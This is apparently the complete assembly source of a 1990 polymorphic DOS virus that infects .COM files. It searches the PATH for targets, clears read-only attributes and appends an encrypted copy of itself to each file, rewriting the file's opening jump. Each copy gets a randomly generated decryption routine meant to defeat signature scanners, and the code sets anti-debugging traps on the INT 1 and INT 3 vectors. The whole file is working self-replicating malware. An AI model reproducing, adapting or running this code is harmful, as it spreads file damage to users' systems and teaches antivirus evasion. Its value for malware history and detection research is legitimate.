; ; ; Copyright (C) Mark Washburn, 1990. All Rights Reserved ; ; ; Inquires are directed to : ; Mark Washburn ; 4656 Polk Street NE ; Columbia Heights, MN 55421 ; USA ; ; ; ; code segment public 'CODE' org 100h ; assume cs:code,ds:code,es:code ; stopdebug equ 1 ; define this for disassembly trap code int1vec equ 4 int3vec equ 12 ; dta_ptr equ -4 file_crea equ -8 file_attr equ -10 path_start_ptr equ -12 file_start_ptr equ -14 RAND_SEED equ -16 ptr1 equ -18 ; pointer to start of loop code ptr2 equ -20 ; save data_begin pointer dat1 equ -22 ; the random code used dat2 equ -24 ; the decode length plus random length offset, max_msk ; to make the decode routine more difficult to detect dat3 equ -26 ; the 'necessary crypt code' mask ; IFNDEF stopdebug local_stack equ 26 max_msk equ 0ffh ; this determines the maximum variance of length ELSE nobugptr equ -28 oldint3 equ -32 oldint1 equ -36 local_stack equ 36 max_msk equ 0ffh ; this determines the maximum variance of length ENDIF ; ; ; doscall macro call_type ifnb mov ah, call_type endif int 21h endm ; setloc macro arg1,reg2 mov [bp + arg1],reg2 endm ; getloc macro reg1,arg2 mov reg1,[bp + arg2] endm ; setdat macro arg1,reg2 mov [si + offset arg1 - offset data_begin],reg2 endm ; getdat macro reg1,arg2 mov reg1,[si + offset arg2 - offset data_begin] endm ; regofs macro reg1,arg2 mov reg1,si add reg1,offset (arg2 - data_begin) endm ; NOBUG1 macro IFDEF stopdebug INT 3 NOP ENDIF endm ; nobug2 macro IFDEF stopdebug INT 3 ENDIF endm ; ; start: jmp entry ; ; ; MOV AH,0 INT 021h ; program code ; db 600h-6 dup (0) ; insert utility code here ; entry: ; space for decode routine IFDEF stopdebug call precrypt db 36 dup (090h) ; calculated length of offset(t41-t10) ELSE db 39 dup (090h) ; calculated length of offset(t41-t10) ENDIF ; ; label the start of encoded section entry2: mov bp,sp ; allocate locals sub sp,local_stack ; push cx movcmd: ; this label is used to locate the next instruction mov dx,offset data_begin setloc ptr2,dx ; save - will be modified in 'gencode' IFDEF stopdebug ; ; save interrupt 1 and 3 vectors ; push ds mov ax,0 push ax pop ds cli mov ax,ds:[int1vec] setloc oldint1,ax mov ax,ds:[int1vec+2] setloc oldint1+2,ax mov ax,ds:[int3vec] setloc oldint3,ax mov ax,ds:[int3vec+2] setloc oldint3+2,ax sti pop ds ; call bugon ENDIF mov si,dx add si,(offset old_code - offset data_begin) mov di,0100h mov cx,03h cld repz movsb mov si,dx doscall 30h ; check DOS version cmp al,0 NOBUG1 ; 0 jnz cont1 ; DOS > 2.0 jmp exit cont1: push es doscall 2fh ; get program DTA NOBUG1 ; 0 setloc dta_ptr,bx NOBUG1 ; 0 setloc dta_ptr+2,es pop es regofs dx,my_dta doscall 1ah ; set new DTA push es push si mov es,ds:[02ch] ; environment address mov di,0 loop1: pop si push si add si,(offset path_chars - offset data_begin) lodsb mov cx,8000h repnz scasb mov cx,4 loop2: lodsb scasb jnz loop1 loop loop2 pop si pop es setloc path_start_ptr,di mov bx,si add si,offset (file_name-data_begin) mov di,si jmp cont6 nobug2 next_path: cmp word ptr [bp + path_start_ptr],0 jnz cont3 jmp exit2 nobug2 cont3: push ds push si mov ds,es:[002ch] mov di,si mov si,es:[bp+path_start_ptr] add di,offset (file_name-data_begin) loop3: lodsb cmp al,';' ; 3bh jz cont4 cmp al,0 jz cont5 stosb jmp loop3 nobug2 cont5: mov si,0 cont4: pop bx pop ds mov [bp+path_start_ptr],si cmp ch,0ffh jz cont6 mov al,'\' ; 5ch stosb cont6: mov [bp+file_start_ptr],di mov si,bx add si,(offset com_search-offset data_begin) mov cx,6 repz movsb mov si,bx mov ah,04eh regofs dx,file_name mov cx,3 doscall jmp cont7 nobug2 next_file: doscall 04fh cont7: jnb cont8 jmp next_path nobug2 cont8: mov ax,[si+offset(my_dta-data_begin)+016h] ; low time byte and al,01fh cmp al,01fh jz next_file IFNDEF stopdebug cmp word ptr [si+offset(my_dta-data_begin)+01ah],0fa00h ; file length compared; need 1.5 k spare, see rnd off ELSE cmp word ptr [si+offset(my_dta-data_begin)+01ah],0f800h ENDIF jz next_file ; with virus length cmp word ptr [si+offset(my_dta-data_begin)+01ah],0ah ; file to short jz next_file mov di,[bp+file_start_ptr] push si add si,offset(my_dta-data_begin+01eh) move_name: lodsb stosb cmp al,0 jnz move_name pop si mov ax,04300h regofs dx,file_name doscall setloc file_attr,cx mov ax,04301h and cx,0fffeh regofs dx,file_name doscall mov ax,03d02h regofs dx,file_name doscall jnb cont9 jmp exit3 nobug2 cont9: mov bx,ax mov ax,05700h doscall setloc file_crea,cx setloc file_crea+2,dx cont10: mov ah,3fh mov cx,3 regofs dx,old_code doscall NOBUG1 ; 1 jb cont98 NOBUG1 cmp ax,3 NOBUG1 jnz cont98 NOBUG1 mov ax,04202h NOBUG1 ;1 mov cx,0 mov dx,0 doscall jnb cont99 cont98: jmp exit4 cont99: NOBUG1 ; 2 push bx ; save file handle NOBUG1 mov cx,ax push cx NOBUG1 sub ax,3 NOBUG1 setdat jump_code+1,ax add cx,(offset data_begin-offset entry+0100h) NOBUG1 mov di,si NOBUG1 sub di,offset data_begin-offset movcmd-1 NOBUG1 mov [di],cx ; doscall 02ch ; seed the random number generator xor dx,cx NOBUG1 setloc rand_seed,dx NOBUG1 ; 2 call random NOBUG1 ; 3 getloc ax,rand_seed NOBUG1 ; 3 and ax,max_msk ; add a random offset to actual length NOBUG1 ; 3 add ax,offset (data_end-entry2) ; set decode length NOBUG1 ; 3 setloc dat2,ax ; save the decode length NOBUG1 ; 3 setdat (t13+1),ax ; set decode length in 'mov cx,xxxx' pop cx ; restore the code length of file to be infected NOBUG1 ; 3 add cx,offset (entry2-entry+0100h) ; add the length ; of uncoded area plus file offset setdat (t11+1),cx ; set decode begin in 'mov di,xxxx' NOBUG1 ; 3 call random getloc ax,rand_seed NOBUG1 ; 3 setloc dat1,ax ; save this random key in dat1 setdat (t12+1),ax ; set random key in 'mov ax,xxxx' NOBUG1 ; 3 mov di,si NOBUG1 ; 3 sub di,offset (data_begin-entry) NOBUG1 ; 3 mov bx,si add bx,offset (l11-data_begin) ; table L11 address mov word ptr [bp+dat3],000000111b ; required routines call gen2 ; generate first part of decrypt setloc ptr1,di ; save the current counter to resolve 'loop' add bx,offset (l21-l11) ; add then next tables' offset NOBUG1 ; 3 mov word ptr [bp+dat3],010000011b ; required plus 'nop' NOBUG1 ; 3 call gen2 ; generate second part of decrypt add bx,offset (l31-l21) ; add the next offset NOBUG1 call gen2 ; generate third part of decrypt mov cx,2 ; store the loop code getloc si,ptr2 NOBUG1 ; 3 add si,offset (t40-t10) ; point to the code repz movsb ; move the code getloc ax,ptr1 ; the loop address pointer sub ax,di ; the current address dec di ; point to the jump address stosb ; resolve the jump ; fill in the remaining code l991: getloc cx,ptr2 ; get the data_begin pointer sub cx,offset (data_begin-entry2) ; locate last+1 entry cmp cx,di ; are we there yet? je l992 ; if not then fill some more space mov dx,0h ; any code is ok call gencode ; generate the code jmp l991 nobug2 l992: getloc si,ptr2 ; restore si to point to data area ; push si mov di,si NOBUG1 ; 4 mov cx,offset(end1-begin1) ; move code add si,offset(begin1-data_begin) NOBUG1 ; 4 add di,offset(data_end-data_begin+max_msk) ; add max_msk mov dx,di ; set subroutine start repz movsb ; move the code pop si pop bx ; restore handle call setrtn ; find this address add ax,06h ; <- the number necessary for proper return push ax jmp dx ; continue with mask & write code ; continue here after return from mask & write code NOBUG1 ; 4 jb exit4 cmp ax,offset(data_end-entry) NOBUG1 ; 4 jnz exit4 mov ax,04200h mov cx,0 mov dx,0 doscall jb exit4 mov ah,040h mov cx,3 NOBUG1 ; 4 regofs dx,jump_code doscall exit4: getloc dx,file_crea+2 getloc cx,file_crea and cx,0ffe0h or cx,0001fh mov ax,05701h doscall doscall 03Eh ; close file exit3: mov ax,04301h getloc cx,file_attr regofs dx,file_name doscall exit2: push ds getloc dx,dta_ptr getloc ds,dta_ptr+2 doscall 01ah pop ds exit: pop cx xor ax,ax xor bx,bx xor dx,dx xor si,si mov sp,bp ; deallocate locals mov di,0100h push di CALL BUGOFF ret ; ; common subroutines ; ; random proc near ; getloc cx,rand_seed ; get the seed xor cx,813Ch ; xor random pattern add cx,9248h ; add random pattern ror cx,1 ; rotate ror cx,1 ; three ror cx,1 ; times. setloc rand_seed,cx ; put it back and cx,7 ; ONLY NEED LOWER 3 BITS push cx inc cx xor ax,ax stc rcl ax,cl pop cx ret ; return ; random endp ; setrtn proc near ; pop ax ; ret near push ax ret ; setrtn endp ; gencode proc near ; l999: call random test dx,ax ; has this code been used yet? jnz l999 ; if this code was generated - try again or dx,ax ; set the code as used in dx mov ax,cx ; the look-up index sal ax,1 push ax xlat mov cx,ax ; the count of instructions pop ax inc ax xlat add ax,[bp+ptr2] ; ax = address of code to be moved mov si,ax repz movsb ; move the code into place ret ; gencode endp ; gen2 proc near ; mov dx,0h ; used code l990: call gencode mov ax,dx ; do we need more code and ax,[bp+dat3] ; the mask for the required code cmp ax,[bp+dat3] jne l990 ; if still need required code - loop again ret ; gen2 endp ; IFDEF stopdebug doint3: push bx mov bx,sp push ax push si mov si,word ptr [bx+02] inc word ptr [bx+02] ; point to next address setloc nobugptr,si lodsb ; get the byte following int 3 xor byte ptr [si],al mov al,[bx+7] ; set the trap flag or al,1 mov [bx+7],al pop si pop ax pop bx iret ; doint1: push bx mov bx,sp push ax push si getloc si,nobugptr lodsb xor byte ptr [si],al mov al,[bx+7] ; clear the trap flag and al,0feh mov [bx+7],al pop si pop ax pop bx bugiret: iret ; bugon: pushf push ds push ax mov ax,0 push ax pop ds getloc ax,ptr2 sub ax,offset(data_begin-doint3) cli mov ds:[int3vec],ax getloc ax,ptr2 sub ax,offset(data_begin-doint1) mov ds:[int1vec],ax push cs pop ax mov ds:[int1vec+2],ax mov ds:[int3vec+2],ax sti pop ax pop ds popf ret ; bugoff: pushf push ds push ax mov ax,0 push ax pop ds getloc ax,oldint3 cli mov ds:[int3vec],ax getloc ax,oldint1 mov ds:[int1vec],ax getloc ax,oldint1+2 mov ds:[int1vec+2],ax getloc ax,oldint3+2 mov ds:[int3vec+2],ax sti pop ax pop ds popf ret ; ENDIF ; ; ; the data area ; data_begin label near ; T10 LABEL NEAR T11: MOV DI,0FFFFH T12: MOV AX,0FFFFH T13: MOV CX,0FFFFH T14: CLC T15: CLD T16: INC SI T17: DEC BX T18: NOP T19 LABEL NEAR ; T20 LABEL NEAR T21: XOR [DI],AX T22: XOR [DI],CX T23: XOR DX,CX T24: XOR BX,CX T25: SUB BX,AX T26: SUB BX,CX T27: SUB BX,DX T28: NOP T29 LABEL NEAR ; T30 LABEL NEAR T31: INC AX T32: INC DI T33: INC BX T34: INC SI T35: INC DX T36: CLC T37: DEC BX T38: NOP T39 LABEL NEAR ; T40: LOOP T20 T41 LABEL NEAR ; L11: DB OFFSET (T12-T11),OFFSET (T11-data_begin) L12: DB OFFSET (T13-T12),OFFSET (T12-data_begin) L13: DB OFFSET (T14-T13),OFFSET (T13-data_begin) L14: DB OFFSET (T15-T14),OFFSET (T14-data_begin) L15: DB OFFSET (T16-T15),OFFSET (T15-data_begin) L16: DB OFFSET (T17-T16),OFFSET (T16-data_begin) L17: DB OFFSET (T18-T17),OFFSET (T17-data_begin) L18: DB OFFSET (T19-T18),OFFSET (T18-data_begin) ; L21: DB OFFSET (T22-T21),OFFSET (T21-data_begin) L22: DB OFFSET (T23-T22),OFFSET (T22-data_begin) L23: DB OFFSET (T24-T23),OFFSET (T23-data_begin) L24: DB OFFSET (T25-T24),OFFSET (T24-data_begin) L25: DB OFFSET (T26-T25),OFFSET (T25-data_begin) L26: DB OFFSET (T27-T26),OFFSET (T26-data_begin) L27: DB OFFSET (T28-T27),OFFSET (T27-data_begin) L28: DB OFFSET (T29-T28),OFFSET (T28-data_begin) ; L31: DB OFFSET (T32-T31),OFFSET (T31-data_begin) L32: DB OFFSET (T33-T32),OFFSET (T32-data_begin) L33: DB OFFSET (T34-T33),OFFSET (T33-data_begin) L34: DB OFFSET (T35-T34),OFFSET (T34-data_begin) L35: DB OFFSET (T36-T35),OFFSET (T35-data_begin) L36: DB OFFSET (T37-T36),OFFSET (T36-data_begin) L37: DB OFFSET (T38-T37),OFFSET (T37-data_begin) L38: DB OFFSET (T39-T38),OFFSET (T38-data_begin) ; ; ; ; this routine is relocated after the end of data area ; this routine encrypts, writes, and decrypts the virus code ; begin1: getloc cx,dat2 ; get off (data_end-entry2) plus max_msk getloc ax,dat1 ; get decode ket mov di,si ; and set the begin encrypt address sub di,offset (data_begin-entry2) call crypt mov ah,040h mov cx,offset data_end-offset entry mov dx,si sub dx,offset data_begin-offset entry doscall pushf ; save the status of the write push ax getloc cx,dat2 ; get off (data_end-entry2) plus max_msk getloc ax,dat1 mov di,si sub di,offset (data_begin-entry2) call crypt pop ax ; restore the DOS write's status popf ret ; crypt: xor [di],ax xor [di],cx inc ax inc di loop crypt ret end1: ; ; global work space and constants ; old_code: db 090h,090h,090h jump_code: db 0e9h,0,0 com_search: db '*.COM',0 path_chars: db 'PATH=' file_name: db 40h DUP (0) my_dta: db 2Bh DUP (0) db 0,0,0 data_end label near IFDEF stopdebug ; scan_bytes db 0CCh,090h ; precrypt: mov bp,sp ; allocate locals sub sp,local_stack doscall 02ch ; seed the random number generator xor dx,cx setloc rand_seed,dx call random mov di,offset start push ds pop es lp999: mov cx,08000h mov si,offset scan_bytes lodsb repnz scasb cmp cx,0 je done998 cmp di,offset data_end jge done998 lodsb scasb jnz lp999 call random getloc ax,rand_seed dec di mov [di],al inc di xor [di],al inc di ; skip the masked byte jmp short lp999 done998: mov sp,bp ret ENDIF code ends end start